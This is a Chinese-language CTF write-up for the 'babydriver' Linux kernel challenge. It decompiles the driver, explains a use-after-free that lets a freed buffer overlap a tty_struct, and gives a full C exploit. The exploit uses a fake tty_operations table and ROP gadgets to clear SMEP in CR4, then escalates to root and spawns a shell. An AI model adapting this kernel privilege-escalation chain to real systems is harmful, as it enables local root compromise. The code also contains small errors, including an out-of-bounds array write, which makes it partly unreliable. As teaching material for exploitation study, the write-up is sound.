参考：https://xz.aliyun.com/t/4529
一、代码分析：
//babyioctl:定义了 0x10001 的命令，可以释放全局变量 babydev_struct 中的 device_buf，再根据用户传递的 size 重新申请一块内存，并设置 device_buf_len。
void __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 v5; // rdx
_fentry__(filp, *(_QWORD *)&command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n", 0x24000C0LL, v5);
}
else
{
printk("\x013defalut:arg is %ld\n", v3, v3);
}
}
//babyopen: 申请一块空间，大小为 0x40 字节，地址存储在全局变量 babydev_struct.device_buf 上，并更新 babydev_struct.device_buf_len
int __fastcall babyopen(inode *inode, file *filp)
{
__int64 v2; // rdx
_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n", 0x24000C0LL, v2);
return 0;
}
//babyread: 先检查长度是否小于 babydev_struct.device_buf_len，然后把 babydev_struct.device_buf 中的数据拷贝到 buffer 中，buffer 和长度都是用户传递的参数
void __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
_fentry__(filp, buffer);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > v4 )
copy_to_user(buffer, babydev_struct.device_buf, v4);
}
}
//babywrite: 类似 babyread，不同的是从 buffer 拷贝到全局变量中
void __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
_fentry__(filp, buffer);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > v4 )
copy_from_user(babydev_struct.device_buf, buffer, v4);
}
}
//babyrelease: 释放空间，没什么好说的
int __fastcall babyrelease(inode *inode, file *filp)
{
__int64 v2; // rdx
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n", filp, v2);
return 0;
}
二、漏洞分析及利用(绕过SMEP)
1.如何绕过
原理：SMEP即内核执行保护，当 CPU 处于 ring0 模式时，执行 用户空间的代码 会触发页错误；系统根据CR4寄存器的第20位判断内核是否开启SMEP，为1时开启，为0时关闭（第21位是SMAP位）。
SMEP_SMAP寄存器位.jpg
关闭SMEP方法：
mov cr4,0x6f0
pop rdi; ret
0x6f0
mov cr4,rdi; ret;
2.如何劫持控制流
利用到结构体tty_struct（本结构大小是0x2e0）：
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops; < -------------------------- 这里
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;
其中有一个很有用的存函数指针的结构体tty_operations：
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count); < -------------------------- 这里
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
问题1：如何调用这个结构体？
......当open("/dev/ptmx", O_RDWR)时会创建一个tty_struct。
问题2：如何使用tty_operations中的函数指针？
......往上面所open的文件中write就会调用其中的int (*write)(struct tty_struct * tty,const unsigned char *buf, int count);函数，依次类推。
步骤：
......可以利用UAF构造大小和tty_struct一样的空间（0x2e0）去存储新建的tty_struct，从而达到修改tty_struct的效果，并直接构造用户态的伪tty_operations，修改其中的函数为rop，从而在调用函数时成功劫持程序流到我们所构造的rop中。
3.exp构造
(1)伪造tty_struct结构
先使tty_struct结构的const struct tty_operations *ops;指针指向伪造的fake_tty_operations。
int fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY);
unsigned long fake_tty_str[3] = {0};
read(fd2,fake_tty_str,32); //读取前3个8字节，保证和原先一样
fake_tty_str[3] = fake_tty_opera; //第4个指针指向fake_tty_operations，这个fake_tty_opera直接构造即可。
//printf("fake_tty_opera:%x",fake_tty_opera);
write(fd2,fake_tty_str,32);
(2)伪造fake_tty_opera结构，劫持控制流
再伪造fake_tty_opera结构，通过第8个指针write劫持控制流，第8个指针放上我们的rop。问题是这时候rsp指向内核栈，只能执行1个gadget。
起初这样构造fake_tty_opera：
unsigned long fake_tty_opera[30] = {
0xffffffff810d238d, // pop rdi ; ret
0x6f0,
0xffffffff81004d80, // mov cr4, rdi ; pop rbp ; ret
0,
0xffffffff8100ce6e, // pop rax ; ret
rop,
0xFFFFFFFF8181BFC5,
0xffffffff8100ce6e, // pop rax ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
};
当执行write函数时，会跳转到0xffffffff8100ce6e处的gadget执行，此时状态如下：
执行fake_write时状态.png
此时rax指向fake_tty_opera结构，rsp指向内核栈。我们可以在fake_tty_opera结构上布置rop链，利用唯一的gadget将rax赋值给rsp。
可用如下gadget：
mov rsp,rax
xchg rsp,rax
栈回溯看看情况，当我们调用write的时候，会执行到我们构造的fake_tty_opera中的write函数偏移为8组的位置：
执行fake_write时状态2.png
这里我们利用gadget：mov rsp,rax ; dec ebx ; ret。所以rop修改如下：
unsigned long fake_tty_opera[30] = {
0xffffffff810d238d, // pop rdi ; ret
0x6f0,
0xffffffff81004d80, // mov cr4, rdi ; pop rbp ; ret
0,
0xffffffff8100ce6e, // pop rax ; ret
rop,
0xFFFFFFFF8181BFC5,
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
};
(3)继续构造rop链提权
以上fake_tty_opera中的rop已经更改了cr4寄存器，即关闭了smep保护。由于fake_tty_opera空间太小，可跳转到更大的空间继续构造rop链。接下来rop的任务是调用commit_creds(prepare_kernel_cred(0))函数来提权，由于关闭了soep，可直接用ret2user方法。
unsigned long rop[30] = {
getroot,
0xffffffff81063694, // swapgs ; pop rbp ; ret
0,
0xffffffff814e35ef, // iretq; ret;
getshell,
user_cs,
user_flag,
user_rsp,
user_ss
};
问题：不能将unsigned long rop[30]设置为unsigned long rop[]，不然执行完dec ebx后数组rop的内容会发生改变。很奇怪？？？？？？？
(4)exp如下：
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
unsigned long user_cs,user_ss,user_rsp,user_flag;
unsigned long prepare_kernel_cred = 0xffffffff810a1810;
unsigned long commit_creds = 0xffffffff810a1420;
void save_state(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_rsp,rsp;"
"pushf;"
"pop user_flag;"
);
puts("[*] save the state success!");
}
void getshell(){
system("/bin/sh");
}
void getroot(){
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}
int main(){
save_state();
unsigned long rop[] = { //状态转化，getshell
getroot,
0xffffffff81063694, // swapgs ; pop rbp ; ret
0,
0xffffffff814e35ef, // iretq; ret;
getshell,
user_cs,
user_flag,
user_rsp,
user_ss
};
unsigned long fake_tty_opera[30] = { //伪造的tty_opera
0xffffffff810d238d, // pop rdi ; ret
0x6f0,
0xffffffff81004d80, // mov cr4, rdi ; pop rbp ; ret
0,
0xffffffff8100ce6e, // pop rax ; ret
rop,
0xFFFFFFFF8181BFC5,
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
};
int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);
ioctl(fd1,0x10001,0x2e0);
//printf("rop:%x",rop);
close(fd1);
int fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY);
unsigned long fake_tty_str[3] = {0};
read(fd2,fake_tty_str,32);
fake_tty_str[3] = fake_tty_opera; //修改tty_struct
//printf("fake_tty_opera:%x",fake_tty_opera);
write(fd2,fake_tty_str,32);
write(fd3,"V1NKe",5); //触发rop
return 0;
}
